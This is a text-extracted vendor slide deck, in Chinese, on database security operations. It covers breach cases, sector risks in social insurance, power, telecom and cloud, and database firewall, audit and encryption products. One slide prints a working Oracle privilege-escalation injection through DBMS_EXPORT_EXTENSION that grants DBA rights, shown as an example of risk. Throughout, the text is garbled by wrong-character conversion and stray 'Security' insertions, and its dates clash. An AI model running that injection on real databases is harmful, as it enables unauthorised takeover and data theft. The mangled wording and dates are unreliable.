安華金和數(shù)據(jù)庫(kù)Security運(yùn)維

安華金和

劉曉韜10月22日讓數(shù)據(jù)使用更平安數(shù)據(jù)庫(kù)Security運(yùn)維2傳統(tǒng)IT架構(gòu)下的數(shù)據(jù)庫(kù)Security運(yùn)維1Why？數(shù)據(jù)庫(kù)Security運(yùn)維3Security---互聯(lián)網(wǎng)+時(shí)代的首要運(yùn)維責(zé)任Verizon?數(shù)據(jù)泄露調(diào)查報(bào)告?指出：數(shù)據(jù)庫(kù)中泄露的數(shù)據(jù)是數(shù)據(jù)泄漏事件發(fā)生的主要來(lái)源。數(shù)據(jù)庫(kù)效勞器占泄露記錄總數(shù)的96%，數(shù)據(jù)庫(kù)平安成為平安體系建設(shè)的關(guān)鍵所在！幾個(gè)典型的DBSecurity事件2021：深圳福彩運(yùn)維人員篡改數(shù)據(jù)庫(kù)幾個(gè)典型的DBSecurity事件2021：聯(lián)創(chuàng)開(kāi)發(fā)人員竊取信息1300W幾個(gè)典型的DBSecurity事件2021：黑客入侵公安車管系統(tǒng)幾個(gè)典型的DBSecurity事件2021：黑客入侵p2p金融插播一、一個(gè)黑客從外網(wǎng)入侵過(guò)程的解析〔Sony)第三方運(yùn)維內(nèi)網(wǎng)訪問(wèn)測(cè)試人員DBA特權(quán)用戶實(shí)施人員外網(wǎng)訪問(wèn)應(yīng)用用戶黑客入侵者誤操作：大量更新刪除業(yè)務(wù)數(shù)據(jù)直接看到真實(shí)數(shù)據(jù)、批量導(dǎo)出非法操作：繞過(guò)應(yīng)用違規(guī)訪問(wèn)數(shù)據(jù)庫(kù)非法操作：提升權(quán)限，竊取數(shù)據(jù);拷貝備份、數(shù)據(jù)文件惡意操作：SQL

注入攻擊程序后門(mén)：應(yīng)用軟件中留有數(shù)據(jù)下載接口 非法操作：盜用 密碼越權(quán)操作非法操作：導(dǎo)出數(shù)據(jù)開(kāi)發(fā)人員VPN特權(quán)用戶插播二、數(shù)據(jù)庫(kù)Security在現(xiàn)代信息架構(gòu)的挑戰(zhàn)B/S架構(gòu)使數(shù)據(jù)庫(kù)間接暴露到互聯(lián)網(wǎng)各種運(yùn)維人員和IT外包人員直接訪問(wèn)數(shù)據(jù)庫(kù)應(yīng)用方式的變更使數(shù)據(jù)庫(kù)訪問(wèn)形式多樣化數(shù)據(jù)庫(kù)應(yīng)用環(huán)境復(fù)雜DB要Security運(yùn)維的原因總結(jié)1、傳統(tǒng)的平安藩籬已經(jīng)打破，DB已經(jīng)不再平安2、數(shù)據(jù)價(jià)值凸顯，價(jià)值帶來(lái)了風(fēng)險(xiǎn)3、平安責(zé)任全員化，DBSecurity已是重要運(yùn)維責(zé)任2傳統(tǒng)IT架構(gòu)下的數(shù)據(jù)庫(kù)Security運(yùn)維1Why？數(shù)據(jù)庫(kù)Security運(yùn)維3Security---互聯(lián)網(wǎng)+時(shí)代的首要運(yùn)維責(zé)任傳統(tǒng)行業(yè)一：政府社保參保人信息倒賣(mài)新興的信息倒賣(mài)公司已經(jīng)將社保信息作為重要的商品。經(jīng)濟(jì)詐騙從身份證生日等信息分析銀行卡密碼；社保數(shù)據(jù)違規(guī)調(diào)查或發(fā)布某省煙草廳干部公積金高額上繳基數(shù)被曝光事件等。信息泄漏利益驅(qū)動(dòng)2015-05-04

05版社保網(wǎng)絡(luò)信息跑，千門(mén)萬(wàn)戶不堪擾。技術(shù)僅補(bǔ)三分漏，恪守?fù)?dān)當(dāng)不可少?！度嗣袢?qǐng)?bào)》社保行業(yè)-“4.22事件〞1、2021年4月22日，國(guó)內(nèi)各大網(wǎng)站曝出全國(guó)30省市社保單位曝出平安漏洞，數(shù)千萬(wàn)社保用戶信息或泄漏。2、該新聞持續(xù)發(fā)酵，當(dāng)日晚間百度搜索〞社保行業(yè)泄露〞已經(jīng)收錄接近400萬(wàn)，峰值更是達(dá)1800萬(wàn)。3、近4、5年來(lái)，數(shù)據(jù)泄密事件層出不窮。大大小小的企業(yè)、組織都在遭到數(shù)據(jù)庫(kù)泄密事件的重創(chuàng)。人社DBSecurity的挑戰(zhàn)1、社保信息交易價(jià)值極高2、社保龐大的IT架構(gòu)，系統(tǒng)復(fù)雜性極高，潛在漏洞多〔省級(jí)或大地市，幾十個(gè)業(yè)務(wù)系統(tǒng)和上百個(gè)數(shù)據(jù)庫(kù)效勞器〕3、數(shù)據(jù)庫(kù)訪問(wèn)與運(yùn)維的人員組成復(fù)雜某市級(jí)社保行業(yè)的平安分析插播三：數(shù)據(jù)庫(kù)自身的平安問(wèn)題分析訪問(wèn)控制缺陷DBMS漏洞明文存儲(chǔ)SQL特征控制高危SQL控制數(shù)據(jù)無(wú)返回?cái)?shù)量控制SQL注入語(yǔ)句控制超級(jí)用戶不受限拒絕效勞漏洞系統(tǒng)注入漏洞緩沖區(qū)溢出權(quán)限提升漏洞數(shù)據(jù)文件明文存儲(chǔ)配置文件暴露密碼備份文件明文存儲(chǔ)日志文件明文存儲(chǔ)CVE上一共公布了2000多個(gè)數(shù)據(jù)庫(kù)漏洞插播四：一個(gè)Oracle數(shù)據(jù)庫(kù)提權(quán)例如--權(quán)限提升selectSYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE

IMMEDIATE

''DECLARE

PRAGMA

AUTONOMOUS_TRANSACTION;BEGIN

EXECUTE

IMMEDIATE

''''

grant

dba

to

vpatch'''';END;'';END;--','SYS‘,0,'1',0)

from

dual;某人社局DBSecurity的解決方案?jìng)鹘y(tǒng)行業(yè)二：電力電力行業(yè)平安現(xiàn)狀：平安事件層出不清黑龍江北京電力設(shè)備總廠平安事件：通過(guò)國(guó)網(wǎng)及其下屬企業(yè)在Internet上的對(duì)外系統(tǒng)可以很容易地侵入到內(nèi)部數(shù)據(jù)庫(kù)獲取大量敏感信息。電力行業(yè)-不同防護(hù)層的需求分析通過(guò)外部系統(tǒng)自身缺陷進(jìn)行SQL注入或上傳后門(mén)程序存在大量的攻擊漏洞不支持SQLServer運(yùn)維側(cè)大量外包人員需要審計(jì)和管控國(guó)產(chǎn)數(shù)據(jù)庫(kù)平安加固國(guó)家電網(wǎng)的DBSecurity平安風(fēng)險(xiǎn)國(guó)網(wǎng)某數(shù)據(jù)中心的DB部署結(jié)構(gòu)國(guó)網(wǎng)某數(shù)據(jù)中心的DBSecurity運(yùn)維需求平安現(xiàn)狀〔1〕應(yīng)用系統(tǒng)量大復(fù)雜：營(yíng)銷系統(tǒng)、生產(chǎn)MIS、人事系統(tǒng)、財(cái)務(wù)系統(tǒng)、調(diào)度系統(tǒng)、ERP系統(tǒng)、OA系統(tǒng)等等〔2〕甲方技術(shù)人員匱乏，大局部的運(yùn)維工作都外包給第三方，運(yùn)維人員素質(zhì)參差不齊；〔3〕核心的數(shù)據(jù)庫(kù)賬號(hào)和權(quán)限不在甲方掌控之中，根本都在運(yùn)維人員手中；〔4〕數(shù)據(jù)庫(kù)賬號(hào)的使用和管理比較混亂，甲方不知道有多少高權(quán)限賬號(hào)，這些賬號(hào)的權(quán)限是否合理，是否有越權(quán)行為等；〔5〕通過(guò)邏輯強(qiáng)隔離裝置，將數(shù)據(jù)庫(kù)部署在內(nèi)外，應(yīng)用系統(tǒng)在外網(wǎng)數(shù)據(jù)庫(kù)平安需求〔1〕需要手段明確的知道各個(gè)應(yīng)用系統(tǒng)中都有哪些高權(quán)限賬號(hào)，這些賬號(hào)的使用者是誰(shuí)；〔2〕需要掌握每個(gè)賬號(hào)的行為，如果有越權(quán)或高危操作，希望能發(fā)現(xiàn)、阻止并審計(jì)；〔3〕對(duì)高危命令能夠進(jìn)行分級(jí)審批；〔4〕對(duì)第三方的成心或無(wú)意破壞有防護(hù)和審計(jì)手段，并有免責(zé)的方法；〔5〕當(dāng)前的邏輯強(qiáng)隔離裝置存在復(fù)雜SQL注入無(wú)法防范，OCI協(xié)議可以穿透的風(fēng)險(xiǎn)；國(guó)網(wǎng)某數(shù)據(jù)中心的Security解決方案檢測(cè)結(jié)果

高風(fēng)險(xiǎn)中風(fēng)險(xiǎn)低風(fēng)險(xiǎn)警告提示合計(jì)通過(guò)912118135741321938未通過(guò)89189044弱口令掃描共檢測(cè)出弱口令和缺省口令用戶13個(gè)，其中9個(gè)為應(yīng)用系統(tǒng)使用的數(shù)據(jù)庫(kù)賬戶，4個(gè)為數(shù)據(jù)庫(kù)系統(tǒng)缺省賬戶。對(duì)生產(chǎn)庫(kù)賬戶進(jìn)行授權(quán)檢查時(shí)，發(fā)現(xiàn)局部賬戶權(quán)限分配過(guò)高。某省電網(wǎng)的數(shù)據(jù)庫(kù)漏洞掃描結(jié)果DB的平安檢測(cè)結(jié)果傳統(tǒng)行業(yè)三：運(yùn)營(yíng)商某運(yùn)營(yíng)商的挑戰(zhàn)已部署了堡壘機(jī)系統(tǒng)仍然發(fā)生了嚴(yán)重的誤操作：對(duì)某個(gè)重要業(yè)務(wù)表中數(shù)據(jù)進(jìn)行了刪除，造成重要生產(chǎn)事故插播五：堡壘機(jī)的DBSecurity運(yùn)維缺陷無(wú)細(xì)粒度控制的能力圖形化操作無(wú)法控制（僅錄屏）測(cè)試數(shù)據(jù)泄露惡意程序惡意訪問(wèn)導(dǎo)出明文數(shù)據(jù)導(dǎo)致泄露解析物理文件某運(yùn)營(yíng)商的DBSecurity運(yùn)維解決方案DBLinkDBLink保壘機(jī)、4A、數(shù)據(jù)庫(kù)防火墻三者結(jié)合，提升了數(shù)據(jù)庫(kù)平安防護(hù)能力：NoWhere等高危操作得到了控制；通過(guò)行集控制的技術(shù)手段，有效躲避拖庫(kù)風(fēng)險(xiǎn)提供數(shù)據(jù)庫(kù)漏洞防攻擊防護(hù)手段，防止非法提權(quán)操作修復(fù)人工不易加固的復(fù)雜數(shù)據(jù)庫(kù)漏洞SQL注入補(bǔ)丁未升級(jí)拒絕效勞緩沖區(qū)溢出虛擬補(bǔ)丁訪問(wèn)控制SQL防火墻違規(guī)審計(jì)細(xì)粒度的用戶權(quán)限訪問(wèn)控制防止批量導(dǎo)出數(shù)據(jù)維護(hù)人員惡意操作和誤操作大范圍數(shù)據(jù)訪問(wèn)啟發(fā)式的SQL防火墻，能保護(hù)數(shù)據(jù)庫(kù)免受：高危操作惡意操作數(shù)據(jù)庫(kù)效勞攻擊精細(xì)、實(shí)時(shí)的違規(guī)審計(jì)，保護(hù)數(shù)據(jù)庫(kù)免受無(wú)法問(wèn)責(zé)無(wú)法準(zhǔn)確追蹤分析插播六：數(shù)據(jù)庫(kù)防火墻的產(chǎn)品功能與價(jià)值DBSecurity運(yùn)維的整體平安意識(shí)3/43/4的成員不清楚特權(quán)用戶對(duì)數(shù)據(jù)庫(kù)進(jìn)行過(guò)何種操作將近50%的成員對(duì)其非特權(quán)用戶訪問(wèn)敏感數(shù)據(jù)毫無(wú)措施2/3

的成員不能有效防止特權(quán)用戶對(duì)數(shù)據(jù)庫(kù)的非授權(quán)訪問(wèn)502/385%的成員將真實(shí)數(shù)據(jù)不加防范地交與開(kāi)發(fā)人員或第三方人員85ORACLE全球獨(dú)立用戶組對(duì)其430個(gè)成員的數(shù)據(jù)平安調(diào)查報(bào)告按修復(fù)建議人工加固賬號(hào)口令鎖定缺省賬戶加強(qiáng)弱口令復(fù)雜度低安全策略連續(xù)登錄錯(cuò)誤次數(shù)修改登陸白名單權(quán)限寬泛表的訪問(wèn)權(quán)限易受攻擊代碼存儲(chǔ)過(guò)程的高危語(yǔ)句數(shù)據(jù)庫(kù)漏掃發(fā)現(xiàn)存在風(fēng)險(xiǎn)數(shù)據(jù)庫(kù)自身的問(wèn)題系統(tǒng)注入漏洞緩沖區(qū)溢出漏洞權(quán)限提升漏洞補(bǔ)丁未升級(jí)數(shù)據(jù)庫(kù)使用中的問(wèn)題低安全策略權(quán)限寬泛缺省配置弱口令高危程序操作記錄有效追責(zé)檢測(cè)用戶直接訪問(wèn)數(shù)據(jù)庫(kù)的行為追蹤數(shù)據(jù)庫(kù)使用失敗登錄報(bào)告認(rèn)證復(fù)查自動(dòng)化保護(hù)存儲(chǔ)數(shù)據(jù)追蹤和監(jiān)控?cái)?shù)據(jù)庫(kù)訪問(wèn)合規(guī)性測(cè)試和驗(yàn)證

進(jìn)行PCIDSS復(fù)查國(guó)家等級(jí)保護(hù)其他數(shù)據(jù)庫(kù)合規(guī)性需求外圍防御圈根本上加固復(fù)雜漏洞防控虛擬補(bǔ)丁技術(shù)解決數(shù)據(jù)庫(kù)自身的漏洞敏感數(shù)據(jù)保護(hù)批量導(dǎo)出非法訪問(wèn)高危操作權(quán)限濫用核心數(shù)據(jù)加密內(nèi)部人員泄密標(biāo)記敏感數(shù)據(jù)數(shù)據(jù)按列加密文件密文存儲(chǔ)繞過(guò)應(yīng)用訪問(wèn)DBA訪問(wèn)敏感數(shù)據(jù)不受限D(zhuǎn)BSecurity運(yùn)維的平安建議以更少的資金消耗、更集約的經(jīng)營(yíng)方式、更靈巧的應(yīng)變能力，實(shí)現(xiàn)更高效的開(kāi)展和更豐厚的價(jià)值回報(bào)。評(píng)估人工修復(fù)審計(jì)主動(dòng)防御數(shù)據(jù)庫(kù)防火墻數(shù)據(jù)庫(kù)加密2傳統(tǒng)IT架構(gòu)下的數(shù)據(jù)庫(kù)Security運(yùn)維1Why？數(shù)據(jù)庫(kù)Security運(yùn)維3Security---互聯(lián)網(wǎng)+時(shí)代的首要運(yùn)維責(zé)任互聯(lián)網(wǎng)+時(shí)代的IT根底設(shè)施IT架構(gòu)：終端化平臺(tái)化大數(shù)據(jù)互聯(lián)網(wǎng)+特征IT根底設(shè)施滿足：低本錢(qián)可擴(kuò)縮大規(guī)模支撐企業(yè)業(yè)務(wù)特征：快速試錯(cuò)上云已是大勢(shì)所趨Amazon云體系結(jié)構(gòu)阿里云體系結(jié)構(gòu)阿里云上的RDS平安〔Security〕穩(wěn)健〔Safe〕數(shù)據(jù)庫(kù)運(yùn)維挑戰(zhàn)的轉(zhuǎn)變傳統(tǒng)IT架構(gòu)云環(huán)境政務(wù)專有云案例某政務(wù)專有云的DBSecurity需求預(yù)防：有技術(shù)手段保證DB管理部門(mén)也看不到各業(yè)務(wù)部門(mén)的敏感信息；事后追責(zé)：出現(xiàn)問(wèn)題能追溯到具體責(zé)任人。數(shù)據(jù)集中，泄密風(fēng)險(xiǎn)加大某政務(wù)專有云的DBSecurity解決方案三權(quán)分立，滿足涉密系統(tǒng)需要多段登錄，關(guān)鍵業(yè)務(wù)操作，需要DB管理部門(mén)和業(yè)務(wù)部門(mén)同時(shí)在場(chǎng)完成訪問(wèn)審計(jì)，作到事后追蹤可查行業(yè)云某行業(yè)云的DBSecurity需求某行業(yè)云，是針對(duì)企業(yè)用戶的云管理系統(tǒng)。目標(biāo)：將企業(yè)參保用戶的管理和局部業(yè)務(wù)從原來(lái)的“私有〞環(huán)境轉(zhuǎn)移到“行業(yè)云〞環(huán)境下。需求和挑戰(zhàn)：數(shù)據(jù)被移到行業(yè)云后，面臨的直接問(wèn)題就是數(shù)據(jù)平安。企業(yè)用戶需要確認(rèn)數(shù)據(jù)在云上是平安的，云環(huán)境的維護(hù)者無(wú)法看到這些數(shù)據(jù)，即使進(jìn)入數(shù)據(jù)庫(kù)也無(wú)法看到敏感的真實(shí)數(shù)據(jù)，只有掌握密鑰的應(yīng)用系統(tǒng)或企業(yè)用戶才能得到真實(shí)數(shù)據(jù)。系統(tǒng)中的敏感數(shù)據(jù)的保護(hù)需要按照企業(yè)用戶來(lái)區(qū)分，鑰匙需要掌握在企業(yè)用戶的手中，不能是一個(gè)公共的鑰匙。平安要“銜接線下〞，將“秘鑰〞做O2O包裝，一定要能夠以線下Key、證卡等實(shí)物形式來(lái)表達(dá)，這樣能夠大幅改善Online完全不受控的感受，讓用戶能夠心里踏實(shí)。某行業(yè)云的DBSecurity解決方案公有云一個(gè)阿里云P2p金融的部署結(jié)構(gòu)最終用戶遠(yuǎn)程數(shù)據(jù)庫(kù)運(yùn)維終端企業(yè)內(nèi)部網(wǎng)絡(luò)最終用戶最終用戶云盾P2P金融應(yīng)用系統(tǒng)〔ECS效勞〕數(shù)據(jù)庫(kù)效勞器〔RDS效勞〕阿里云〔1〕截止2021年11月，已有近165家P2P平臺(tái)由于黑客攻擊造成系統(tǒng)癱瘓、數(shù)據(jù)被惡意篡改、資金被洗劫等情況。同時(shí)，由于行業(yè)的特殊性，P2P平臺(tái)在遭遇攻擊、網(wǎng)站無(wú)法翻開(kāi)時(shí)，往往引發(fā)投資人的對(duì)平臺(tái)跑路的恐慌，產(chǎn)生集中擠兌，間接導(dǎo)致平臺(tái)“死亡〞?！?〕平安董事局主席馬明哲曾表示：P2P網(wǎng)貸平臺(tái)其技術(shù)要求不亞于銀行，甚至比銀行還要高。但現(xiàn)實(shí)情況是，大多數(shù)P2P網(wǎng)貸平臺(tái)無(wú)論在架構(gòu)、數(shù)據(jù)庫(kù)、平安防范方面，應(yīng)對(duì)黑客的攻擊能力幾乎為零。阿里云的平安根底設(shè)施公有云上的DBSecurity平安需求總結(jié)防止黑客攻擊：防止SQL注入、防止拖庫(kù)數(shù)據(jù)變更可追蹤：數(shù)據(jù)庫(kù)運(yùn)維的可審、可控防止云效勞提供商泄露數(shù)據(jù)阿里云上應(yīng)用的DBSecurity平安解決方案最終用戶遠(yuǎn)程數(shù)據(jù)庫(kù)運(yùn)維終端數(shù)據(jù)庫(kù)加密管理終端企業(yè)內(nèi)部網(wǎng)絡(luò)最終用戶最終用戶云盾P2P金融應(yīng)用系統(tǒng)數(shù)據(jù)庫(kù)效勞器防止SQL注入防止批量下載防止后門(mén)程序?qū)崿F(xiàn)應(yīng)用審計(jì)阿里云防止誤操作防止批量下載細(xì)粒度運(yùn)維控制實(shí)現(xiàn)運(yùn)維審計(jì)存儲(chǔ)層數(shù)據(jù)加密密鑰自主管控策略自助配置：用戶根底信息商品價(jià)格數(shù)據(jù)交易數(shù)據(jù)最后……一點(diǎn)廣告國(guó)內(nèi)最為精確、性能最好的數(shù)據(jù)庫(kù)審計(jì)產(chǎn)品基于精確協(xié)議解析，強(qiáng)大風(fēng)險(xiǎn)發(fā)現(xiàn)和告警能力國(guó)內(nèi)首款專業(yè)數(shù)據(jù)庫(kù)防火墻產(chǎn)品集數(shù)據(jù)庫(kù)IPS、IDS和審計(jì)功能為一體的綜合平安產(chǎn)品領(lǐng)先國(guó)內(nèi)的數(shù)據(jù)庫(kù)漏洞掃描產(chǎn)品支持1300漏洞項(xiàng)，430